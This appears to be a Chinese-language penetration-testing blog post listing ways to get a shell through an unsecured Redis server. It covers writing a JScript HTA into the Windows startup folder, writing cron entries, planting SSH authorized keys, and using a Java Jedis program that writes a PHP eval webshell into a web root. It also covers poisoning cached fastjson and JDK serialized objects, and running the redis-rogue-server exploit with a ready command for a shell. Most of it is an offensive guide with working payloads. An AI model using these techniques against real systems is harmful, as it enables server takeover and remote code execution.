在我以往对redis服务的渗透经验中总结了以下几点可以getshell的方法。
写文件
特殊文件
Windows
- 开机自启动目录
Linux
- crontab
- SSH key
- webshell
反序列化
java反序列化
- jackson
- fastjson
- jdk/Hessian反序列化
- python反序列化
- php反序列化
- 4.X/5.X RCE
下面我会逐一对这几种redis getshell的方法展开讲解
写文件这个功能其实就是通过修改redis的dbfilename、dir配置项。
通常来说掌控了写文件也就完成了rce的一半。
这几种写文件来getshell的方式也是最有效最简单的。
写开机自启动
在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。
<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>
我把这段JS执行 calc 命令的代码写到了该目录下
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta
当系统启动时就会随之运行,从而执行攻击者的恶意代码。
crontab
在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。
/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx
注意:有些系统对crontab的文件内容的校验比较严格可能会导致无法执行定时任务。
SSH Key
linux 系统的用户目录下都会有一个隐藏文件夹/.ssh/
这里面放着公钥和私钥。
只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了
webshell
这种方法就不用再多讲了,只要知道 web 绝对路径,写个webshell进去就行。
写 webshell 的代码在 cn.b1ue.redis.filewrite.Webshell
类。
public class Webshell {
public static void main(String[] args) {
Jedis jedis = new Jedis("127.0.0.1", 6379);
jedis.flushAll();
jedis.set("x", "\n\n<?php eval($_REQUEST['x']); ?>\n\n");
jedis.configSet("dir","/home/web/wwwroot/");
jedis.configSet("dbfilename","x.php");
jedis.save();
jedis.close();
}
}
redis 本就是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种反序列化后的对象数据。
通常都是存储的java反序列化对象,php和python比较少见。
我见得比较多的就是 fastjson 和 jackson 类型的反序列化数据。jdk原生的反序列化数据也有。
分辨起来也很方便
- jackson 关注json对象是不是数组,第一个元素看起来像不像类名,例如
["com.blue.bean.User",xxx]
- fastjson 关注有没有
@type
字段 - jdk 首先看值是不是base64,如果是base64解码后看里面有没有java包名
fastjson 和 jackson 同类,所以只举例一个
fastjson 反序列化
查看redis里的数据有fastjson的格式时可以考虑将这些key的值改成恶意的反序列化payload。
当使用这个redis服务的java应用要从中取出缓存对象就会触发反序列化。
jdk 反序列化
jdk类型的反序列化数据也是在 redis 存储内容中比较常见的。
开发者通常会把他们编码成 base64 再存储。
和 fastjson 一个道理,篡改redis里面的反序列化数据,把恶意的序列化字节码存储进去,等java应用使用到它的时候就会反序列化触发漏洞。
这是去年曝出来的 redis rce 方法,可以参考这两个 exploit。
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
可影响版本范围 <=5.0.5
我这里用 redis-rogue-server 做演示,里面有已经编译好的 exp.so
直接执行命令即可得到一个正向 shell
python redis-rogue-server.py --rhost 192.168.91.147 --lhost 192.168.91.1